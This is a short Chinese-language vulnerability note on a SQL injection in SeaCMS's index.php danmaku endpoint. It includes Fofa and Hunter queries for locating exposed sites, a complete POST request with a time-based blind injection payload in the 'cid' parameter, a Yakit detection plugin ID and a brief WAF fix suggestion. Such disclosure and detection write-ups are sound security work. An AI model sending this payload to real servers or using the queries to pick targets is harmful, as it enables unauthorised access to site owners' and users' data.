SeaCMS海洋影视管理系统 index.php SQL注入

0x01 漏洞描述：

海洋CMS是一套专为不同需求的站长而设计的内容管理系统，灵活、方便、人性化设计、简单易用是最大的特色，可快速建立一个海量内容的专业网站。海洋CMS基于PHP+MySql技术开发，完全开源免费 、无任何加密代码。在index.php中存在SQL注入，导致未授权攻击者可利用该漏洞获取隐私数据。

0x02 搜索语句：

Fofa：app="海洋CMS"

Hunter：body="http://www.seacms.net"

0x03 漏洞复现：

POST /js/player/dmplayer/dmku/index.php?ac=edit HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Ldwk: bG91ZG9uZ3dlbmt1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 56

cid=(select(1)from(select(sleep(5)))x)&text=1&color=1

0x04 yakit检测：

该漏洞已支持yakit插件检测，根据uuid 1ab73e21-fc16-4801-9588-3bbae2ad1418 进行下载

0x05 修复建议：

在Web应用防火墙中添加接口临时黑名单规则